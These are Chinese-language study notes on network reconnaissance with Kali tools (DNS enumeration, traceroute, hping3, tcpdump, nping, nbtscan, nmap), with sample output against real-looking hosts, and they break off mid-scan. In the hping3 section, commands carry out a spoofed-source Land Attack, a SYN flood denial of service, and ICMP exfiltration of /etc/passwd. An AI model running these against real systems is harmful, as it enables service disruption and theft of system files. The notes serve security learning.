网络信息收集

域名DNS

域名的注册信息
whois 注册信息
DNS记录分析：
1.host（dig） 用域名指向主机的IP地址

2.fierce -dns www.baidu.com目标主机所有的ip地址和主机信息

3.dnsenum 枚举
dnsenum --enum baidu.com

路由信息
sudo tctrace -i eth0 -d www.guet.edu.cn
1(1) [192.168.252.2]
2(1) [111.59.124.188] (reached; open)

sudo tcptraceroute www.guet.edu.cn
Running:
traceroute -T -O info www.guet.edu.cn
traceroute to www.guet.edu.cn (111.59.124.188), 30 hops max, 60 byte packets
1 _gateway (192.168.252.2) 0.121 ms 0.039 ms 0.065 ms
2 111.59.124.188 (111.59.124.188) <syn,ack> 19.372 ms 19.590 ms 19.904 ms

目标识别

识别目标主机
1.ping -c 4 www.guet.edu.cn
发送4条，可用ip或者域名
PING www.guet.edu.cn (111.59.124.188) 56(84) bytes of data.
64 bytes from 111.59.124.188 (111.59.124.188): icmp_seq=1 ttl=128 time=17.6 ms
64 bytes from 111.59.124.188 (111.59.124.188): icmp_seq=2 ttl=128 time=18.1 ms
64 bytes from 111.59.124.188 (111.59.124.188): icmp_seq=3 ttl=128 time=19.0 ms
64 bytes from 111.59.124.188 (111.59.124.188): icmp_seq=4 ttl=128 time=20.4 ms

2.arping 192.168.1.1 可以用ip地址或者mac地址ping局域网

3.fping 可以同时ping多个ip

4.hping3网络数据包生成和分析工具
选项
-0 原始ip包
-1 icmp包
-2 udp包
-8 扫描模式
-9 监听模式
-c 数量

sudo hping3 -1 125.217.37.24 -c 1
sudo hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 125.217.37.24		伪造ip10.10.10.10然后进行Land Attack
hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000		拒绝服务攻击
文件传输
hping3 192.168.1.159--listen signature --safe  --icmp
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

sudo tcpdump host 125.217.37.24
09:43:07.885420 IP kali > 125.217.37.24: ICMP echo request, id 42334, seq 0, length 8
09:43:08.129105 IP 125.217.37.24 > kali: ICMP echo reply, id 42334, seq 0, length 8

5.抓包工具tcpdump

tcpdump [ -DenNqvX ] [ -c count ] [ -F file ] [ -i interface ] [ -r file ]
[ -s snaplen ] [ -w file ] [ expression ]

-i 监听网卡接口
-c 抓包的数量
-w 将抓包数据输出到文件中而不是标准输出
-F 从文件中读取抓包的表达式。
-s 设置tcpdump的数据包抓取长度为len

(1)tcpdump  -i  eth0 							监听网卡接口
(2)tcpdump host 125.217.37.24					监听主机
(3)tcpdump src/dst host 125.217.37.24			从主机发送进来/出去的数据
(4)tcpdump -c 10 net 192.168					捕获10个数据从192.168.0.0/16
(5)tcpdump tcp/udp port 22 and host hostname
(6)tcpdump -c 10 -nn -i eth0 tcp dst port 22  

6.nping可以进行压力测试，arp中毒和dos攻击

–tcp-connect : Unprivileged TCP connect probe mode.
–tcp : TCP probe mode.
–udp : UDP probe mode.
–icmp : ICMP probe mode.
–arp : ARP/RARP probe mode.

nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
sudo nping --tcp -c 1 -p 22 125.217.37.24-36

7.NetBIOS 信息收集 nbtscan
nbtscan -hv 125.217.37.1-254

Doing NBT name scan for addresses from 125.217.37.1-254


NetBIOS Name Table for Host 125.217.37.1:

Name             Service          Type             
----------------------------------------
LENOVO-B8D1AA13  Workstation Service
WORKGROUP        Domain Name
LENOVO-B8D1AA13  File Server Service

Adapter address: 00:21:97:21:bc:0f
----------------------------------------

识别操作系统
nmap

zz@kali:~$ sudo nmap -O 10.34.2.139
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 03:04 EDT
Nmap scan report for 10.34.2.139
Host is up (0.31s latency).
Not shown: 992 closed ports
PORT     STATE    SERVICE
135/tcp  open     msrpc
139/tcp  open     netbios-ssn
443/tcp  open     https
445/tcp  open     microsoft-ds
514/tcp  filtered shell
902/tcp  open     iss-realsecure
912/tcp  open     apex-mesh
3389/tcp open     ms-wbt-server
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.76 seconds

枚举服务

网络扫描程序
nmap
1.端口选项
-F 常用的端口
-p 1-65535，或者21,22
sudo nmap -F 148.70.139.25
sudo nmap -p 1-600 148.70.139.25

zz@kali:~$ sudo nmap -F 148.70.139.25
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 04:59 EDT
Nmap scan report for 148.70.139